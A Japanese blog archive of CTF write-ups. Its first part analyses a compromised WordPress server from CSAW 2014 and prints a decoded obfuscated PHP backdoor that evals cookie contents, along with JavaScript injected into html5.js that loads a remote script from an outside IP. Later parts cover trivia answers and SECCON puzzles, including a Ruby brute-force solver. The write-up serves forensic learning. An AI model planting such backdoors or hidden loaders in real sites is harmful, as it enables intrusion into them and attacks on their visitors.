/var/www以下やデータベースのダンプを見るにWordPressが動いていて、そこがやられたという状況のようです。ひとまずapache2のaccess.logを見ていきます。非常に大きなファイルですが、大半はツールによるアタック試行のログです。SQLインジェクションやら何やらを色々試しています。データベースのダンプを見るとwp_commentsに犯人による犯行予告(「ハックしてやったぜBWHAHAHAHA」じゃなくて「ハックしてやるぜBWHAHAHA」だった)があるので、そのコメントの時刻以降のログを見てみます。

まずPOSTに絞って見てみるとプラグイン絡みでちょっと怪しげなログを見つけました。wysija-newslettersというプラグインで、そのプラグインについて調べてみたところ、任意ファイルのアップロードが可能な脆弱性が存在していたそうです。その後その脆弱性は修正されましたが、実際にはPHPの設定によってはその対策をすり抜けることが可能でした(そしてさらに対策される)。この環境にインストールされているもののバージョンを調べてみると、ちょうどその脆弱性が残っていたバージョンだった上に、WordPress Security - MailPoet Vuln Contributes to Thousands of Infected Websites | Sucuri Blogで言及されているのと同じ形のログが残っていました。

アクセスログから/wp-content/uploads/wysija/themes/weblizer/template.phpというのにアクセスしていることがわかったので、そのファイルを見てみます。中身は次のようなPHPファイルです。

1
2
3
4
5
6
7
8
9
10
<?php
$hije = str_replace("ey","","seyteyrey_reyeeypleyaeyceye");
$andp="JsqGMsq9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSsqk9PSdoYScgJisqYgsqJsqGMoJ";
$rhhm="nsqKSwgam9pbihhcnJheV9zbGljZSgkYSwksqYygkYSksqtMykpKSksqpO2VjaG8sqgJsqzwvJy4kay4nPic7fQ==";
$pvqw="GEpPjMpeyRrPSdja2l0JztlY2hvICc8Jy4kaysq4nPicsq7ZXZhbChsqiYXNlNjRfZGVjb2RlKHByZsqWdfcmVw";
$wfrm="bGFjZShhcnsqJheSsqgsqnsqL1teXHcsq9XHNdLycsJy9ccy8nKSwgYsqXJyYXksqoJycsJyssq";
$vyoh = $hije("n", "", "nbnansne64n_ndnecode");
$bpzy = $hije("z","","zczreaztzez_zfzuznzcztzizon");
$xhju = $bpzy('', $vyoh($hije("sq", "", $andp.$pvqw.$wfrm.$rhhm))); $xhju();
?>

$hijestr_replace$vyohbase64_decode$bpzycreate_function関数です。このとき初めて知ったんですが、PHPでは文字列変数に対して$hoge()みたいに()を付けて使うと、その変数に入っている名前の関数を呼び出すという機能があります。びっくり。

それはともかくとして、このコードは

  1. $andp$pvqw$wfrm$rhhmを結合する
  2. その中の’sq’を取り除く
  3. その文字列をBase64デコードする
  4. その文字列を関数化する
  5. それを実行する

というコードです。create_functionで関数化されたコードは次のコードです(実際の出力を整形しています)

1
2
3
4
5
6
7
8
$c='count';
$a=$_COOKIE;
if (reset($a) == 'ha' && $c($a) > 3) {
  $k='ckit';
  echo '<'.$k.'>';
  eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));
  echo '</'.$k.'>';
}

Cookieが所定の条件を満たすとき、その中に入っているBase64文字列をevalする、というコードのようです。どう見てもバックドアです。本当にありがとうございました。

しかし、ログに記録されてない上にパケットキャプチャもないので、Cookieの中身はわかりません。つまりどんなコードが実行されたのかが全く不明です。データベースの中に何かしら残っていないか探してみましたが見つかりません。ここで一旦手詰まりとなってしまいました。

そこで隣に座ってた某氏が’/var/log/auth.log’を見ていて次の箇所を指摘しました。

1
Sep 17 19:20:09 ubuntu sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

ご覧の通り、sudoでviが実行されています。察し。……ていうかubuntuユーザーでログインされてsudoまでされてるんですがそれは……。

それはともかく/wp-content/themes/twentythirteen/js/html5.jsを見てみます。先頭のコメントにHTML5 Shivとあります。バージョンは3.7.0。HTML5Shivのリポジトリから3.7.0のファイルをダウンロードし、このファイルとの差異を探すと、末尾に次のコードが追加されていました。

1
var g="ti";var c="HTML Tags";var f=". li colgroup br src datalist script option .";f = f.split(" ");c="";k="/";m=f[6];for(var i=0;i<f.length;i++){c+=f[i].length.toString();}v=f[0];x="\'ht";b=f[4];f=2541*6-35+46+12-15269;c+=f.toString();f=(56+31+68*65+41-548)/4000-1;c+=f.toString();f="";c=c.split("");var w=0;u="s";for(var i=0;i<c.length;i++){if(((i==3||i==6)&&w!=2)||((i==8)&&w==2)){f+=String.fromCharCode(46);w++;}f+=c[i];} i=k+"anal"; document.write("<"+m+" "+b+"="+x+"tp:"+k+k+f+i+"y"+g+"c"+u+v+"j"+u+"\'>\</"+m+"\>");

beautifyしてみます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
        w++;
    }
    f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

このコードをnodeに与えて、document.writeの引数になっている文字列を見てみると次のようになります。

1
<script src='http://128.238.66.100/analytics.js'></script>

つまりhtml5.jsが実行されると’http://128.238.66.100/analytics.js‘が読まれて実行されるわけです。ここにアクセスしてanalytics.jsを見てみます(長いので中身は省略します)。すると、明らかにおかしな箇所がありました。

1
2
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);

_0x91feに代入している箇所をnodeに与えて中身を見てみます。

1
2
3
4
5
6
> var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
undefined
> _0x91fe
[ 'http://128.238.66.100/announcement.pdf',
  '_self',
  'open' ]

これを踏まえた上で先のコードの2行目を見れば、window['open'](window.open関数)で’http://128.238.66.100/announcement.pdf‘を開いていることになります。

http://128.238.66.100/announcement.pdf‘は実際にPDFで、なんかビジュアル系バンドっぽい人物の写真に’I AM HACKING YOU RIGHT NOW’という文が書いてある画像があるだけのPDFです。

ひとしきりここで爆笑して作業に戻りますと、pdfextractでストリームデータをダンプしてみるように言われました。-sオプションを使ってストリームをダンプします。結果として’stream_{1,2,3,8}.dmp’の4つのファイルが現れます。これらに対してひとまずstringsをしてみます(ていうか先にfileで見てみるべきだったかもしれない)。すると’stream_8.dmp’に何か書かれています。

1
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];

JavaScriptっぽいのでnodeに与えてみます。

1
2
3
4
> var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
undefined
> _0xee0b
[ 'YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :) key{Those Fluffy Bunnies Make Tummy Bumpy}' ]

というわけで無事にフラグを得ることができました。

CSAW CTF 2014 Quals Trivia

CSAW CTF 2014 Qualsに参加してました。日本時間で20日07:00から22日07:00までの48時間。都内某所に泊まり込みでした。そんな感じでWrite-upでございます。この記事はTrivia。

Triviaは全て10点で全6問。うち私が解答したのは3問でした。

Shameless plug

問題文

This is the name of the new USENIX workshop that featured papers on CTFs being used for education.

解答

Answer: 3GSE

“USENIX workshop CTF”でググると”The Fun and Future of CTF | USENIX”というのが最初に出てきます。このpaperの投稿先が3GSE ‘14でした。

We don’t know either

問題文

On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.

解答

Answer: 14

CSAWのページ(CTFでない)に行くとイベントの中にCareer Fairがあります。そのイベントページに行ってRegistrationのリンクを辿るとNov 13 - Nov 15で何かやってるらしいことがわかります。

Twitter will you give me @kchung?

問題文

This is the Twitter handle of the student who runs CSAW CTF.

解答

Answer: poopsec

“kchung”というのはCSAW CTFの中の人のひとり、Kevin Chung氏。ところがTwitterで@kchungは別の誰かが取っています。彼自身がTwitterで使っている名前が答えなのでTwitterのアカウントを探します。

とりあえず”Kevin Chung”でググってみると同姓同名の人物のプロフィールやら何やらが見つかりますが、その中にcodekevin.comというサイトがあります。これが彼のWebサイトで、ここにTwitterのホームへのリンクがあります。

SECCON 2014 オンライン予選 その他諸々

2014-07-19 09:00 - 21:00に行われたSECCON 2014 オンライン予選について、その他諸々。

個別に書いたのは次の2つ。

この2つとここで書かれていないのは問題見てすらいません˙꒳˙

decode me

ダウンロードしたencoded.txtを見ると盛大に文字化けしてるんだけど、FRPPBA 2014という文字を見た瞬間にここがSECCON 2014であることを確信。ということは換字式暗号か何かなんだろうけど、ebg13/47という文字が気になる。とここで@re_Ordが「rot13/47というのがあるらしい」。なんじゃそりゃと思って調べてみると、rot13を拡張したそういう暗号があるらしかった。

rot13/47はnkfコマンドで簡単に変換出来るので、それを実行しておしまい。

ソーシャルハック?

私はページを開いて「天安門事件」って入力したら即座に退出されてしまったのであんまり遊んでません。

捏造された契約書を暴け

降ってきたファイルを展開するとTimestamp.ddというファイルが得られる。ここから特定の日付以降になってるようなファイルを探す。日付だから年が入ってるだろうと思って、マウントして云々とかは一切せずにstrings Timestamp.dd | grep 2012とかやると1つだけ結果が出てくる。

……で、300点問題だし、まさかそんなわけないよねー、と思ってそれをスルーしてマウントして探し始めたところ、隣で@yuscarletがこの問題を通していた。正解はまさかの先ほどstringsやって出てきた日付だったらしい。

よくわかんなくてもとりあえず送信しておくべきですね(白目)

重ねてみよう

チーム複数人でまずImageMagickでgif画像を分解して合成云々で粘っていた。これ合成したらQRコードとか出てくるんだろとか思っていたら実際に出てきたのはQRコードでした。

ちなみに、ImageMagickでgif画像を分解、色を反転、透過色を設定……ってやったけどどうにも合成が上手く行ってなかったらしい。で、最終的に取った手段は透過色の設定までやった画像ファイルを全部GIMPに突っ込んでレイヤーとして開き、一番下に白一色のレイヤーを追加するという方法でした。GIMP最強じゃん(

詰将棋

突然のurandom将棋部発足。私は何もしてません(

盤面をにらめっこして頭の中で考えるよりも、適当な紙を用意して駒と盤面作った方がよかったようです。

諸々

チーム内連携で解けた割と問題があって、今回は結構みんな神が降りていた気がします。ググれる文鎮とは私のことだ!(迫真)

最後の1時間くらい、他のメンバーがDecrypt it!を解いている間に祈っていたら、どうやら全国行けるようです。最後の瞬間のランキングを確認してないんですがひょっとしたらチーム1位かもしれません。やったね。

SECCON 2014 オンライン予選 【Print It!】

2014-07-19 09:00 - 21:00に行われたSECCON 2014 オンライン予選のWrite-upです。次は「Print it!」。

問題概要

謎のファイルが降ってきます。以上。

解法

降ってきたファイルの正体は”Standard Triangulated Language”というフォーマットのファイル(参考: Wikipedia)で、このフォーマットのバイナリ形式で記録された3Dモデルです。このファイルを適切なアプリケーションで開くと3Dモデルを見ることが出来て、そのモデルにフラグが書かれています。

ans: Bar1kaTaLab.

経緯

とりあえずファイルをバイナリエディタに突っ込んでビットマップで見てみると、かなり規則性の高いらしいということはわかったのですが、それ以上のことはさっぱりわからず。nullが14個くらい続いてたりとか、それが繰り返されてたりとか、その辺の規則性が高いわりに、先頭には普通にテキストが入っているし、テキストの間にはまたもnullが入っていてよくわかんないなぁと思ってました。

先頭のテキストには意味がないんじゃないかと思って削ってみても、削った後の先頭数バイトが何かのシグネチャになってるわけではありませんでした。あと、前述のnullが続いている箇所がかなり多いことから圧縮されているわけでもなさそうだということはわかりました。

問題名がPrint it!なので、きっと何かにPrintするんだろうと思って、仮想プリンタドライバにlprコマンドでデータを送りつけても何も起きませんでした。他に”Print”に関係しそうなファイルフォーマットを考えてみましたが、たいていがテキスト形式のもので、問題ファイルとは噛み合いません。あとpbcopyでコピーしてコンソールに無理矢理突っ込んだらえらい目にあいました。

じゃあテキストに意味があるのだろうと思って削らないままで眺めてみると、先頭のテキスト(+謎データ)群のサイズがちょうど80bytesでした(”Thanks!“で終わっていたので切れ目はわかりやすかった)。80byte、やたらキリがいい。そんな話を@6f70として、じゃあきっと先頭80bytesは何かしらのヘッダーに違いない! ……ということで、先頭80bytesがヘッダになってるようなファイルフォーマットを探すと……

……なるほどね(白目)

これほどまでに検索結果のスニペットが欲しい情報をピンポイントで持ってきたことはもはや感動的ですらあるので引用しておくと

米国のスリーディー・システムズ(英語版)によって開発された三次元CADソフト用のファイルフォーマットシステム。多くのソフトにサポートされ … バイナリーSTLファイルは80バイトの任意の文字列で開始される(通常内容は無視される。ただし、 solid から記載を …

そんなわけで、このファイルフォーマットのバイナリ形式では先頭80bytesは無視されること、このフォーマットはfloatの値がずらーっと並んでいることがわかりました。floatの値が並んでいるだけなら、確かにデータに規則性があって、nullが連続しているのも納得です。

私のマシンにはこれを見られるものがなかったので、Wikipediaの記事の外部リンクにあった3DViewというChromeのアプリを入れてファイルを読むことで解答が得られました。

SECCON 2014 オンライン予選 【あみだくじ】

2014-07-19 09:00 - 21:00に行われたSECCON 2014 オンライン予選のWrite-upです。今回は「あみだくじ」。

問題概要

問題は64bit ELF形式の実行ファイルamida。これを実行すると「No.i」(i = 1, 2, …)と書かれた行に続けて1から順に番号が振られたあみだくじが表示され、いずれかの終端の1箇所に*印がついている。……が、後になると

  • 番号の振り方が逆 (左から1, 2, …ではなく8, 7, …になっている)
  • そもそもくじの上下が逆
  • 各行の先頭にnull文字が突っ込まれている (追記: これは出題者の意図していない、問題プログラムのバグだった模様)
  • くじの縦線の間が広がる
  • くじが横向きになる

……といった面白形式で表示されるようになります。具体例は最後に書いてあるのでそちらを。

解法

問題を確認せずに1から順に解答してみる。

やることとしては、次の手順をフラグが得られるまで繰り返します。

  1. amidaは問題を出力した後?という文字を出力して入力待ちに入るのでそれが見つかるまで読み捨てる
  2. 次の解答を試す
  3. 正解ならその番号を記録して、試行する番号を1にリセット。次の問題へ。
  4. 不正解ならamidaWrongを出力して終了するので、amidaを再び立ち上げて、これまでの正解番号を次々に入力して、失敗したところまで進める。

なお、実際には問題の記録のために問題は読み捨てるのではなく、読んだものをファイルに保存しました。

この方針の提案と、この後に行うソルバの実装は@yuscarletがC++で、amidaとソルバの間を適当に受け持つ部分をRubyで私が実装しました。最終的に使用した総当たり方式はRubyのみで実装しました。

ところでamidaの実行ファイルなんですが、異様に問題出力が遅いんですね。私と@yuscarletが順当(?)にプログラム書いてる一方で@6f70がamidaのプログラムを解析していて、それによって「問題数は1000問であること」、「問題を出力する際にsleepが噛まされている」ということがわかりました。そこで彼が問題を出力するときに挟まっているsleepを潰したバイナリを用意して、それを用いて総当たり法を実行。結果としてプログラムを動かしてから5分かそこらくらいでフラグを得ました。

ans: c4693af1761200417d5645bd084e28f0f2b426bf

その他諸々

一旦この総当たり方式で実装してみたんですが、どうにも上手く行かなかった(問題の終了判定が上下が逆転しているケースに対応していなかったり諸々)のとさすがにあまりにも遅かったので(この原因は上述のsleep)ソルバで真っ正面から解いてみようということになりました。

(※最初は1行ずつ読んで判定していたので上手く行きませんでした。ソルバによる解答を諦めた後に1文字ずつ読めばいいことに気がついて上述の解答となりました)

番号やらくじの向きやら幅やらが変わっていることに気がつく度にソルバやらRubyのプログラムやらを修正していたんですが、51番目でくじが横向きになっているのがわかると「こんな調子でいろんなパターン対応してたらキリがない」として、ソルバによる解答を放棄して、最初の総当たり方式に戻しました(ちなみに他の方のwrite-upを読むとどうやら100問目までで全パターンが出ていた模様)。

あと番号が逆とかくじの上下が逆とかはともかくとして、null文字突っ込まれてるのは最高にタチが悪いと思いました(小並感)。これ、ソルバによる解答をしているときに遭遇してめちゃくちゃ悩んでて、最終的に問題をファイルに保存してvimで眺めるまでわかりませんでした。

それと1000問あるらしいということとsleepが入っていることがわかったのは結構大きかったですね。前者がわかっていたことでソルバによる対応を諦める判断をすぐに下せましたし、後者が判明していたこと、かつそれを潰せたことで、解答にかかる時間をかなり短縮出来ました。

コード

gist

(amida.rb) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def read_problem(io)
  problem = ''
  loop {
    ch = io.getc
    break if !ch || ch == '?'
    problem << ch
  }
  io.getc
  problem
end

answers = []

def playback(answers, io)
  answers.each do |ans|
    read_problem(io)
    io.puts ans
    io.flush
  end
end

n = 1
pnum = 1
loop do
  open('|./amida_mod', 'a+') do |io|
    playback(answers, io)

    loop do
      problem = read_problem(io)
      IO.write("amida2_problem_#{pnum}", problem)

      io.puts n
      io.flush
      result = io.gets
      if result.include?('Wrong')
        n += 1
        break
      elsif !result.include?('No.')
        puts ">>> #{result}"
      end
      answers << n
      n = 1
      puts
      warn "solved: #{pnum}"
      pnum += 1
    end
  end
end

問題例

gist

Problem Samples
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
1 2 3 4 5 6 7 8
|-| |-| | | |-|
| | | | | |-| |
| | | | | | |-|
|-| | |-| | | |
| | |-| |-| |-|
|-| | |-| | | |
| |-| | |-| |-|
|-| |-| | | | |
| | | | |-| | |
| | |-| | | |-|
|-| | | |-| | |
| | |-| | |-| |
| | | | |-| | |
| |-| | | |-| |
| | |-| | | |-|
| | | | | |-| |
| |-| | |-| |-|
|-| |-| | | | |
| | | | | |-| |
              *

1 2 3 4 5 6 7 8
| |-| | | |-| |
|-| |-| |-| | |
| |-| | | | |-|
|-| |-| | |-| |
| |-| | |-| |-|
| | |-| | |-| |
| |-| | | | |-|
| | | | | | | |
| |-| | |-| |-|
|-| |-| | |-| |
| | | |-| | |-|
|-| | | | | | |
| |-| | |-| | |
|-| |-| | | |-|
| |-| | | |-| |
|-| |-| |-| | |
| |-| |-| |-| |
|-| | | | | | |
| | | | | |-| |
            *  

        *      
|-| |-| | | | |
| |-| | | | |-|
|-| | |-| | | |
| |-| | |-| |-|
| | |-| | | | |
| |-| |-| |-| |
| | | | | | | |
| |-| | | |-| |
|-| |-| |-| | |
| |-| |-| | |-|
| | |-| | | | |
|-| | | |-| |-|
| | |-| | | | |
| | | | |-| | |
|-| |-| | |-| |
| | | | | | | |
| | | | | |-| |
|-| |-| | | |-|
| |-| | |-| | |
8 7 6 5 4 3 2 1

                 *    
|-|  |  |  |  |--|   |
| |  |--|  |--|  |   |
| |--|  |  |  |  |   |
|-|  |  |  |  |  |---|
| |  |  |  |--|  |   |
|-|  |--|  |  |  |---|
| |  |  |--|  |  |   |
| |  |--|  |  |--|   |
| |--|  |  |--|  |   |
|-|  |  |--|  |  |---|
| |  |--|  |  |--|   |
| |--|  |--|  |  |---|
|-|  |--|  |  |--|   |
| |--|  |  |  |  |---|
| |  |  |--|  |--|   |
| |--|  |  |--|  |   |
| |  |  |--|  |  |---|
| |  |--|  |  |--|   |
| |--|  |--|  |  |---|
1 2  3  4  5  6  7   8

1------------------- 
  | |  |  | | |  |   
2------------------- 
 | | |   | | | |     
3------------------- 
  |   |   | | |      
4-------------------*
   |   | |      | |  
5------------------- 
     |      |  | |   
6------------------- 
    |     |  |     | 
7------------------- 
   |  | |  |   |  |  
8------------------- 

 -------------------1
 | |   | | |  |  |   
 -------------------2
  |  |  |    |  |  | 
 -------------------3
   |          |   |  
 -------------------4
  |  | |   | | | |   
 -------------------5
 |  | |   |   | |    
*-------------------6
        |   |  |     
 -------------------7
 | | | | | |  | | |  
 -------------------8

 -------------------1
       |    |      | 
       |    |      | 
*-------------------2
   | |     | | | |   
 -------------------3
 |    |  |    |    | 
 -------------------4
  | |  |  |  |  | |  
  | |  |  |  |  | |  
  | |  |  |  |  | |  
  | |  |  |  |  | |  
 -------------------5
 |       |  |  | | | 
 |       |  |  | | | 
 -------------------6
  | | | |  | |  |    
 -------------------7
 |     | |  |  |     
 |     | |  |  |     
 -------------------8